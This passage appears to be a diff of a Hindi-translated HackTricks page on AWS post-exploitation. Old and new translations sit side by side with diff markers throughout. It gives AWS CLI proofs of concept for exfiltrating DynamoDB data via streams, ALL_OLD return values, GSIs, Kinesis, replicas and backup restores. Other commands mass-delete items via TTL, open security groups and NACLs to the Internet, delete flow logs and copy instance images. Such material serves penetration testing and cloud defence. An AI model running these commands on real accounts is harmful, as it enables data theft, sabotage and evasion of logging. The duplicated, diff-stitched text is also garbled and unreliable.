1. किसी DynamoDB टेबल पर stream सक्षम करें:
|
||||
```bash
|
||||
aws dynamodb update-table \
|
||||
--table-name TargetTable \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. ARN और अन्य विवरण प्राप्त करने के लिए stream का वर्णन करें:
|
||||
2. उस stream का वर्णन करें ताकि ARN और अन्य विवरण प्राप्त किए जा सकें:
|
||||
```bash
|
||||
aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
3. stream ARN का उपयोग करके shard iterator प्राप्त करें:
|
||||
3. shard iterator प्राप्त करें stream ARN का उपयोग करके:
|
||||
```bash
|
||||
aws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
@@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. shard iterator का उपयोग stream से डेटा तक पहुँचने और exfiltrate करने के लिए करें:
|
||||
4. shard iterator का उपयोग करके stream से डेटा एक्सेस और exfiltrate करें:
|
||||
```bash
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**संभावित प्रभाव**: DynamoDB table के परिवर्तनों का real-time monitoring और data leakage.
|
||||
**संभावित प्रभाव**: Real-time monitoring and data leakage of the DynamoDB table's changes.
|
||||
|
||||
### `dynamodb:UpdateItem` और `ReturnValues=ALL_OLD` के माध्यम से आइटम पढ़ें
|
||||
### आइटम पढ़ें `dynamodb:UpdateItem` और `ReturnValues=ALL_OLD` के ज़रिए
|
||||
|
||||
यदि किसी table पर केवल `dynamodb:UpdateItem` की अनुमति वाला एक हमलावर हो, तो वह एक benign update करके और `--return-values ALL_OLD` का अनुरोध करके सामान्य read permissions (`GetItem`/`Query`/`Scan`) के बिना आइटम पढ़ सकता है। DynamoDB response के `Attributes` फील्ड में आइटम की पूर्ण pre-update image लौटाएगा (यह RCUs को consume नहीं करता)।
|
||||
सिर्फ़ `dynamodb:UpdateItem` अनुमतियाँ वाली किसी attacker को टेबल पर सामान्य read permissions (`GetItem`/`Query`/`Scan`) के बिना भी आइटम पढ़ने की क्षमता मिल सकती है — वह एक harmless update करके और `--return-values ALL_OLD` माँगकर ऐसा कर सकता है। DynamoDB response के `Attributes` फ़ील्ड में आइटम की पूरी pre-update image लौटाएगा (यह RCUs खर्च नहीं करता)।
|
||||
|
||||
- न्यूनतम अनुमतियाँ: लक्ष्य table/key पर `dynamodb:UpdateItem`।
|
||||
- पूर्वापेक्षाएँ: आपको आइटम की प्राथमिक कुंजी पता होनी चाहिए।
|
||||
- न्यूनतम अनुमतियाँ: लक्ष्य table/key पर `dynamodb:UpdateItem`.
|
||||
- पूर्वापेक्षाएँ: आपको आइटम की प्राथमिक कुंजी (primary key) पता होनी चाहिए।
|
||||
|
||||
उदाहरण (एक निरापद attribute जोड़ता है और प्रतिक्रिया में पिछले आइटम को exfiltrates करता है):
|
||||
Example (एक harmless attribute जोड़ता है और response में previous item को exfiltrates करता है):
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TargetTable> \
|
||||
@@ -318,14 +318,14 @@ aws dynamodb update-item \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
CLI response में एक `Attributes` ब्लॉक होगा जो complete previous item (all attributes) को शामिल करेगा, जो write-only access से effectively एक read primitive प्रदान करता है।
|
||||
CLI प्रतिक्रिया में एक `Attributes` ब्लॉक शामिल होगा जो पिछले आइटम की पूरी सामग्री (सभी attributes) रखेगा, जिससे write-only एक्सेस से प्रभावी रूप से एक read primitive मिल जाता है।
|
||||
|
||||
**Potential Impact:** केवल write permissions के साथ एक table से arbitrary items पढ़े जा सकते हैं, और जब primary keys ज्ञात हों तो sensitive data exfiltration संभव हो जाती है।
|
||||
**Potential Impact:** केवल write permissions होने पर किसी table से मनमाने आइटम पढ़ना संभव, जब primary keys ज्ञात हों तो संवेदनशील डेटा की exfiltration सक्षम हो जाता है।
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
DynamoDB Global Table (version 2019.11.21) में एक नया replica Region जोड़कर Stealth exfiltration। यदि किसी principal को regional replica जोड़ने की अनुमति है, तो पूरा table attacker-chosen Region में replicate हो जाएगा, जहाँ से attacker सभी items पढ़ सकता है।
|
||||
DynamoDB Global Table (version 2019.11.21) में एक नया replica Region जोड़कर छुपकर exfiltration। अगर कोई principal regional replica जोड़ सकता है, तो पूरा table attacker-चुने Region में replicate हो जाता है, जहाँ से attacker सभी आइटम पढ़ सकता है।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
@@ -354,13 +354,13 @@ aws dynamodb update-table \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permissions: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. If CMK is used in the replica, KMS permissions for that key may be required.
|
||||
अनुमतियाँ: `dynamodb:UpdateTable` (with `replica-updates`) या लक्षित तालिका पर `dynamodb:CreateTableReplica`। यदि replica में CMK का उपयोग किया गया है, तो उस कुंजी के लिए KMS अनुमतियाँ आवश्यक हो सकती हैं।
|
||||
|
||||
Potential Impact: Full-table replication to an attacker-controlled Region leading to stealthy data exfiltration.
|
||||
संभावित प्रभाव: हमलावर-नियंत्रित Region में पूरी तालिका की replication, जिससे गुप्त तरीके से डेटा exfiltration संभव हो सकता है।
|
||||
|
||||
### `dynamodb:TransactWriteItems` (failed condition के जरिए पढ़ना + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
### `dynamodb:TransactWriteItems` (असफल condition के माध्यम से पढ़ना + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
एक attacker जिसके पास transactional write privileges हैं, वह किसी मौजूदा item के पूर्ण attributes को exfiltrate कर सकता है — `TransactWriteItems` के अंदर `Update` करके जो जानबूझकर `ConditionExpression` को fail कर देता है, और साथ में `ReturnValuesOnConditionCheckFailure=ALL_OLD` सेट करता है। विफलता होने पर, DynamoDB transaction cancellation reasons में पहले के attributes शामिल करता है, जिससे write-only access प्रभावी रूप से लक्षित keys का read access बन जाता है।
|
||||
ट्रांज़ैक्शनल write अधिकार वाला कोई हमलावर `TransactWriteItems` के अंदर एक जानबूझकर असफल होने वाला `Update` करके किसी मौजूदा आइटम के पूरे attributes exfiltrate कर सकता है, जबकि `ReturnValuesOnConditionCheckFailure=ALL_OLD` सेट किया गया हो। असफलता पर, DynamoDB लेन-देन रद्द करने के कारणों में पिछले attributes शामिल कर देता है, प्रभावी रूप से लक्षित keys के लिए केवल-write पहुँच को पढ़ने की पहुँच में बदल देता है।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
@@ -409,21 +409,20 @@ print(e.response['CancellationReasons'][0]['Item'])
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
अनुमतियाँ: `dynamodb:TransactWriteItems` लक्ष्य टेबल पर (और संबंधित आइटम पर)। किसी भी पढ़ने की अनुमति (read permissions) आवश्यक नहीं हैं।
|
||||
अनुमतियाँ: `dynamodb:TransactWriteItems` on the target table (और अंतर्निहित आइटम)। किसी भी पढ़ने की अनुमतियों की आवश्यकता नहीं है।
|
||||
|
||||
संभावित प्रभाव: केवल transactional write privileges का उपयोग करके (वापसी किए गए cancellation reasons के माध्यम से) किसी टेबल से primary key के आधार पर arbitrary items पढ़े जा सकते हैं।
|
||||
संभावित प्रभाव: केवल ट्रांज़ैक्शनल write विशेषाधिकारों का उपयोग करके, वापस किए गए रद्द करने के कारणों के माध्यम से प्राथमिक कुंजी द्वारा तालिका से किसी भी आइटम को पढ़ना।
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` GSI पर
|
||||
|
||||
किसी low-entropy attribute पर `ProjectionType=ALL` के साथ Global Secondary Index (GSI) बनाकर read प्रतिबंधों को बायपास करें, उस attribute को सभी items में एक constant मान पर सेट करें, और फिर पूर्ण items प्राप्त करने के लिए index को `Query` करें। यह तब भी काम करता है जब base table पर `Query`/`Scan` अस्वीकृत हों, बशर्ते आप index ARN को query कर सकें।
|
||||
कम-एंट्रॉपी attribute पर `ProjectionType=ALL` के साथ एक Global Secondary Index (GSI) बनाकर पढ़ने पर लगे प्रतिबंधों को बायपास करें, उस attribute को सभी आइटम्स पर एक स्थिर मान पर सेट करें, फिर पूर्ण आइटम प्राप्त करने के लिए index को `Query` करें। यह तब भी काम करता है जब base table पर `Query`/`Scan` इनकार कर दिए गए हों, बशर्ते आप index ARN को query कर सकें।
|
||||
|
||||
- न्यूनतम अनुमतियाँ:
|
||||
- `dynamodb:UpdateTable` लक्ष्य टेबल पर (GSI को `ProjectionType=ALL` के साथ बनाने के लिए)।
|
||||
- `dynamodb:UpdateItem` लक्ष्य टेबल की keys पर (प्रत्येक item पर indexed attribute सेट करने के लिए)।
|
||||
- `dynamodb:Query` index resource ARN पर (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
- `dynamodb:UpdateTable` on the target table (to create the GSI with `ProjectionType=ALL`).
|
||||
- `dynamodb:UpdateItem` on the target table keys (to set the indexed attribute on each item).
|
||||
- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
|
||||
|
||||
कदम (PoC in us-east-1):
|
||||
चरण (PoC in us-east-1):
|
||||
```bash
|
||||
# 1) Create table and seed items (without the future GSI attribute)
|
||||
aws dynamodb create-table --table-name HTXIdx \
|
||||
@@ -461,17 +460,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1
|
||||
```
|
||||
**संभावित प्रभाव:** एक नए बनाए गए GSI को क्वेरी करके तालिका की पूरी जानकारी निकाल ली जा सकती है जो सभी attributes प्रोजेक्ट करता है, भले ही बेस टेबल के read APIs को deny किया गया हो।
|
||||
**संभावित प्रभाव:** नए बने GSI को query करके, जो सभी attributes को project करता है, पूरा table exfiltration किया जा सकता है — यहाँ तक कि base table read APIs deny होने पर भी।
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Kinesis Data Streams के माध्यम से निरंतर एक्सफ़िल्ट्रेशन)
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (निरंतर exfiltration via Kinesis Data Streams)
|
||||
|
||||
DynamoDB Kinesis streaming destinations का दुरुपयोग करके तालिका में हुए परिवर्तनों को हमलावर-नियंत्रित Kinesis Data Stream में लगातार एक्सफ़िल्ट्रेट किया जा सकता है। एक बार enabled होने पर, हर INSERT/MODIFY/REMOVE इवेंट लगभग real-time में stream को अग्रेषित कर दिया जाता है और इसके लिए तालिका पर read permissions की आवश्यकता नहीं होती।
|
||||
DynamoDB Kinesis streaming destinations का दुरुपयोग करके टेबल के परिवर्तनों को लगातार attacker-controlled Kinesis Data Stream में exfiltrate किया जा सकता है। एक बार enabled होने पर, हर INSERT/MODIFY/REMOVE event लगभग real-time में stream को forward किया जाता है, बिना table पर read permissions की आवश्यकता के।
|
||||
|
||||
Minimum permissions (attacker):
|
||||
- `dynamodb:EnableKinesisStreamingDestination` on the target table
|
||||
- Optionally `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` to monitor status
|
||||
- Read permissions on the attacker-owned Kinesis stream to consume records: `kinesis:*`
|
||||
- `dynamodb:EnableKinesisStreamingDestination` target table पर
|
||||
- वैकल्पिक रूप से `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` status मॉनिटर करने के लिए
|
||||
- attacker-owned Kinesis stream पर records consume करने के लिए Read permissions: `kinesis:*`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
@@ -528,8 +527,45 @@ aws dynamodb disable-kinesis-streaming-destination \
|
||||
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
|
||||
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
### `dynamodb:UpdateTimeToLive`
|
||||
|
||||
dynamodb:UpdateTimeToLive अनुमति वाले एक हमलावर एक table की TTL (time-to-live) कॉन्फ़िगरेशन को बदल सकते हैं — TTL को सक्षम या अक्षम कर सकते हैं। जब TTL सक्षम होता है, तो वे व्यक्तिगत items जिनमें कॉन्फ़िगर किया गया TTL attribute होता है, उनके समाप्ति समय पहुँचने पर स्वचालित रूप से हटाए दिए जाएंगे। TTL value प्रत्येक आइटम पर एक और attribute होती है; जिन items में वह attribute नहीं है, वे TTL-आधारित हटाने से प्रभावित नहीं होते।
|
||||
|
||||
यदि items पहले से TTL attribute नहीं रखते हैं, तो हमलावर को उन items को अपडेट करने की अनुमति भी चाहिए होगी (उदाहरण के लिए dynamodb:UpdateItem) ताकि वह TTL attribute जोड़कर बड़े पैमाने पर deletions को ट्रिगर कर सके।
|
||||
|
||||
सबसे पहले table पर TTL सक्षम करें, और expiration के लिए उपयोग होने वाले attribute का नाम निर्दिष्ट करें:
|
||||
```bash
|
||||
aws dynamodb update-time-to-live \
|
||||
--table-name <TABLE_NAME> \
|
||||
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
|
||||
```
|
||||
फिर items को अपडेट करके TTL attribute (epoch seconds) जोड़ें ताकि वे समाप्त होकर हटा दिए जाएँ:
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TABLE_NAME> \
|
||||
--key '<PRIMARY_KEY_JSON>' \
|
||||
--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
|
||||
--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'
|
||||
```
|
||||
### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime`
|
||||
|
||||
यदि किसी हमलावर के पास dynamodb:RestoreTableFromAwsBackup या dynamodb:RestoreTableToPointInTime permissions हों, तो वह backups या point-in-time recovery (PITR) से restored नई tables बना सकता है बिना मूल table को overwrite किए। Restored table में चयनित पॉइंट का डेटा का पूरा चित्र होता है, इसलिए हमलावर इसका उपयोग ऐतिहासिक जानकारी exfiltrate करने या डेटाबेस की पिछली स्थिति का पूरा dump प्राप्त करने के लिए कर सकता है।
|
||||
|
||||
on-demand बैकअप से एक DynamoDB table पुनर्स्थापित करें:
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--target-table-name <NEW_TABLE_NAME> \
|
||||
--backup-arn <BACKUP_ARN>
|
||||
```
|
||||
DynamoDB तालिका को किसी समय-बिंदु पर पुनर्स्थापित करें (पुनर्स्थापित स्थिति के साथ एक नई तालिका बनाएं):
|
||||
```bash
|
||||
aws dynamodb restore-table-to-point-in-time \
|
||||
--source-table-name <SOURCE_TABLE_NAME> \
|
||||
--target-table-name <NEW_TABLE_NAME> \
|
||||
--use-latest-restorable-time
|
||||
````
|
||||
</details>
|
||||
|
||||
**संभावित प्रभाव:** तालिका परिवर्तनों का निरंतर, लगभग वास्तविक-समय में attacker-controlled Kinesis stream पर exfiltration, तालिका पर सीधे read operations किए बिना।
|
||||
**संभावित प्रभाव:** टेबल परिवर्तनों का निरंतर, लगभग वास्तविक-समय में हमलावर-नियंत्रित Kinesis stream पर निकासी, बिना टेबल पर प्रत्यक्ष read ऑपरेशन्स के।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,9 +12,8 @@ For more information check:
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC ट्रैफ़िक मिररिंग **VPC के भीतर EC2 instances के इनबाउंड और आउटबाउंड ट्रैफ़िक की नकल करता है** बिना instances पर कुछ इंस्टॉल करने की आवश्यकता के।\
|
||||
यह नक़ल किया गया ट्रैफ़िक आमतौर पर विश्लेषण और मॉनिटरिंग के लिए network intrusion detection system (IDS) जैसे किसी सिस्टम को भेजा जाता है।\
|
||||
An attacker इसका दुरुपयोग करके सभी ट्रैफ़िक को capture कर सकता है और उससे संवेदनशील जानकारी प्राप्त कर सकता है:
|
||||
VPC traffic mirroring VPC के अंदर EC2 instances के inbound और outbound ट्रैफ़िक को duplicate करता है बिना instances पर कुछ install किए बिना। यह duplicated ट्रैफ़िक आमतौर पर analysis और monitoring के लिए किसी network intrusion detection system (IDS) जैसे सिस्टम को भेजा जाता है।\
|
||||
एक attacker इसका दुरुपयोग करके सभी ट्रैफ़िक को capture कर सकता है और संवेदनशील जानकारी प्राप्त कर सकता है:
|
||||
|
||||
For more information check this page:
|
||||
|
||||
@@ -24,7 +23,7 @@ aws-malicious-vpc-mirror.md
|
||||
|
||||
### Copy Running Instance
|
||||
|
||||
Instances usually contain some kind of sensitive information. There are different ways to get inside (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). However, another way to check what it contains is to **create an AMI and run a new instance (even in your own account) from it**:
|
||||
Instances में आम तौर पर कुछ न कुछ संवेदनशील जानकारी होती है। अंदर जाने के विभिन्न तरीके हैं (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). हालांकि, यह देखने का एक और तरीका यह है कि **create an AMI and run a new instance (even in your own account) from it**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -50,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
|
||||
```
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots volumes के बैकअप होते हैं**, जो आमतौर पर **सेंसिटिव जानकारी** रख सकते हैं, इसलिए इन्हें चेक करने पर यह जानकारी उजागर हो सकती है.\
|
||||
अगर आप किसी **volume without a snapshot** पाते हैं तो आप: **Create a snapshot** कर सकते हैं और निम्न क्रियाएँ कर सकते हैं या बस उसे अकाउंट के अंदर किसी instance में **mount it in an instance** कर लें:
|
||||
**Snapshots volumes के बैकअप होते हैं**, जो आमतौर पर **संवेदनशील जानकारी** रखते हैं, इसलिए इन्हें चेक करने पर यह जानकारी उजागर हो सकती है.\
|
||||
यदि आप कोई **volume without a snapshot** पाते हैं तो आप कर सकते हैं: **Create a snapshot** और निम्नलिखित क्रियाएँ कर सकते हैं या बस इसे खाते के अंदर किसी **instance** में **mount** करें:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
@@ -59,7 +58,7 @@ aws-ebs-snapshot-dump.md
|
||||
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
EC2 AMI को सीधे S3 में `CreateStoreImageTask` का उपयोग करके export करें ताकि बिना snapshot sharing के raw disk image प्राप्त हो सके। इससे instance की नेटवर्किंग को छेड़े बिना पूरा ऑफ़लाइन forensic या डेटा चोरी संभव हो जाती है।
|
||||
EC2 AMI को सीधे S3 में `CreateStoreImageTask` का उपयोग करके export करें ताकि snapshot sharing के बिना raw disk image प्राप्त हो सके। इससे instance की networking को बिना छेड़े पूरा offline forensic या data theft संभव होता है।
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
@@ -67,7 +66,7 @@ aws-ami-store-s3-exfiltration.md
|
||||
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
io1/io2 Multi-Attach volume को दूसरे instance से attach करें और उसे read-only mount करके बिना snapshots के live डेटा siphon करें। तब उपयोगी है जब victim volume पहले से ही उसी AZ के भीतर Multi-Attach enabled हो।
|
||||
एक io1/io2 Multi-Attach volume को दूसरे instance से attach करें और इसे read-only mount करके बिना snapshots के live data siphon करें। यह तब उपयोगी है जब victim volume पर पहले से ही उसी AZ में Multi-Attach enabled हो।
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -75,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
EC2 Instance Connect Endpoint बनाकर ingress authorize करें और ephemeral SSH keys inject करके managed tunnel के जरिए private instances तक पहुँच बनाएं। यह public ports खोले बिना तेज़ lateral movement रास्ते प्रदान करता है।
|
||||
एक EC2 Instance Connect Endpoint बनाएं, ingress authorize करें, और ephemeral SSH keys inject करके managed tunnel के माध्यम से private instances तक पहुँचें। इससे public ports खोले बिना तेज़ lateral movement के रास्ते मिलते हैं।
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -83,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
victim ENI की secondary private IP को attacker-controlled ENI में मूव करें ताकि IP द्वारा allowlisted trusted hosts का impersonation किया जा सके। यह internal ACLs या उन SG नियमों को बायपास करने में सक्षम बनाता है जो specific addresses पर आधारित होते हैं।
|
||||
victim ENI के secondary private IP को attacker-controlled ENI पर स्थानांतरित करें ताकि आप IP द्वारा allowlisted विश्वसनीय hosts की impersonation कर सकें। यह specific addresses पर आधारित internal ACLs या SG rules को bypass करने में सक्षम बनाता है।
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -91,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
victim instance से Elastic IP को attacker के साथ reassociate करें ताकि inbound ट्रैफ़िक intercept किया जा सके या outbound कनेक्शन्स originate किए जा सकें जो trusted public IPs से आने जैसा दिखाई दें।
|
||||
victim instance से Elastic IP को attacker पर reassociate करें ताकि inbound ट्रैफिक intercept किया जा सके या outbound कनेक्शन originate किए जा सकें जो trusted public IPs से आ रहे प्रतीत हों।
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -99,7 +98,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
अगर कोई security group rule किसी customer-managed prefix list को reference करता है, तो सूची में attacker CIDRs जोड़ने से बिना SG को बदलें हर dependent SG rule में चुपचाप पहुँच बढ़ जाती है।
|
||||
यदि किसी security group rule में customer-managed prefix list reference है, तो उस list में attacker CIDRs जोड़ने से बिना SG को modify किए ही हर dependent SG rule में चुपचाप access बढ़ जाता है।
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -107,15 +106,41 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
gateway या interface VPC endpoints बनाकर isolated subnets से outbound access पुनः प्राप्त करें। AWS-managed private links का इस्तेमाल करके IGW/NAT controls के अभाव को बायपास करके डेटा exfiltration किया जा सकता है।
|
||||
gateway या interface VPC endpoints बनाकर isolated subnets से outbound access वापस पाया जा सकता है। AWS-managed private links का लाभ उठाकर missing IGW/NAT controls को bypass कर के data exfiltration संभव होता है।
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
ec2:AuthorizeSecurityGroupIngress permission रखने वाला attacker security groups में inbound rules जोड़ सकता है (उदा., 0.0.0.0/0 से tcp:80 allow करना), जिससे internal services सार्वजनिक Internet या अन्यथा unauthorized नेटवर्क्स के लिए exposed हो जाती हैं।
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
ec2:ReplaceNetworkAclEntry (या समान) permissions वाले attacker एक subnet के Network ACLs (NACLs) को बहुत अधिक permissive बना सकते हैं — उदाहरण के लिए critical ports पर 0.0.0.0/0 की अनुमति देकर — जिससे पूरा subnet range Internet या अनधिकृत network segments के लिए exposed हो जाता है। Security Groups के विपरीत, जो per-instance लागू होते हैं, NACLs subnet स्तर पर लागू होते हैं, इसलिए किसी restrictive NACL को बदलने से कई अधिक hosts तक access सक्षम होकर blast radius काफी बढ़ सकता है।
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
--rule-number 100 \
|
||||
--protocol <PROTOCOL> \
|
||||
--rule-action allow \
|
||||
--egress <true|false> \
|
||||
--cidr-block 0.0.0.0/0
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
एक हमलावर जिसके पास ec2:Delete* और iam:Remove* permissions हैं, महत्वपूर्ण इंफ्रास्ट्रक्चर संसाधनों और कॉन्फ़िगरेशन को डिलीट कर सकता है — उदाहरण के लिए key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups या rules, ENIs/network endpoints, route tables, gateways, या managed endpoints. यह तुरंत सेवा में व्यवधान, डेटा हानि, और फॉरेंसिक सबूतों की हानि का कारण बन सकता है।
|
||||
|
||||
One example is deleting a security group:
|
||||
|
||||
aws ec2 delete-security-group \
|
||||
--group-id <SECURITY_GROUP_ID>
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
VPC Flow Logs को attacker-controlled S3 bucket की ओर पॉइंट करें ताकि victim account के बाहर लगातार नेटवर्क मेटाडेटा (source/destination, ports) लंबी अवधि के reconnaissance के लिए इकट्ठा किया जा सके।
|
||||
VPC Flow Logs को attacker-controlled S3 bucket की ओर पॉइंट करें ताकि victim account के बाहर नेटवर्क मेटाडेटा (source/destination, ports) को long-term reconnaissance के लिए लगातार एकत्र किया जा सके।
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
@@ -125,30 +150,30 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
अगर आप EC2 को इस तरह लॉकडाउन कर दें कि कोई traffic बाहर न जा सके, तब भी यह **exfil via DNS** कर सकता है।
|
||||
यदि आप EC2 को लॉकडाउन करके बाहर कोई ट्रैफ़िक नहीं होने देते, तब भी यह **exfil via DNS** कर सकता है।
|
||||
|
||||
- **VPC Flow Logs यह रिकॉर्ड नहीं करेंगे**।
|
||||
- आपके पास AWS DNS logs की पहुँच नहीं होती।
|
||||
- इसे रोकने के लिए "enableDnsSupport" को false पर सेट करें:
|
||||
- **VPC Flow Logs will not record this**.
|
||||
- आपके पास AWS DNS logs तक पहुंच नहीं है।
|
||||
- Disable this by setting "enableDnsSupport" to false with:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
एक attacker उस द्वारा नियंत्रित account के API endpoints को कॉल कर सकता है। Cloudtrail इन कॉल्स को लॉग करेगा और attacker Cloudtrail logs में exfiltrate data देख पाएगा।
|
||||
एक हमलावर अपने नियंत्रित खाते के API endpoints को कॉल कर सकता है। Cloudtrail इन कॉल्स को लॉग करेगा और हमलावर Cloudtrail logs में exfiltrate किए गए डेटा को देख पाएगा।
|
||||
|
||||
### Open Security Group
|
||||
|
||||
आप ऐसे पोर्ट खोलकर नेटवर्क सर्विसेज़ तक और पहुँच पा सकते हैं:
|
||||
आप इस तरह पोर्ट खोलकर नेटवर्क सेवाओं तक और अधिक पहुँच प्राप्त कर सकते हैं:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc से ECS
|
||||
|
||||
एक EC2 instance चलाकर उसे ECS instances चलाने के लिए रजिस्टर किया जा सकता है, और फिर ECS instances का डेटा चुराया जा सकता है।
|
||||
यह संभव है कि आप एक EC2 instance चला कर उसे ECS instances चलाने के लिए register कर सकें और फिर ECS instances के डेटा को चुरा सकें।
|
||||
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
For [**अधिक जानकारी के लिए देखें**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### VPC flow logs हटाएं
|
||||
```bash
|
||||
@@ -156,70 +181,68 @@ aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
```
|
||||
### SSM Port Forwarding
|
||||
|
||||
आवश्यक अनुमतियाँ:
|
||||
Required permissions:
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
कमांड निष्पादन के अलावा, SSM ट्रैफ़िक टनलिंग की अनुमति देता है जिसे Security Groups या NACLs के कारण नेटवर्क एक्सेस न रखने वाले EC2 इंस्टेंस से pivot करने के लिए दुरुपयोग किया जा सकता है।
|
||||
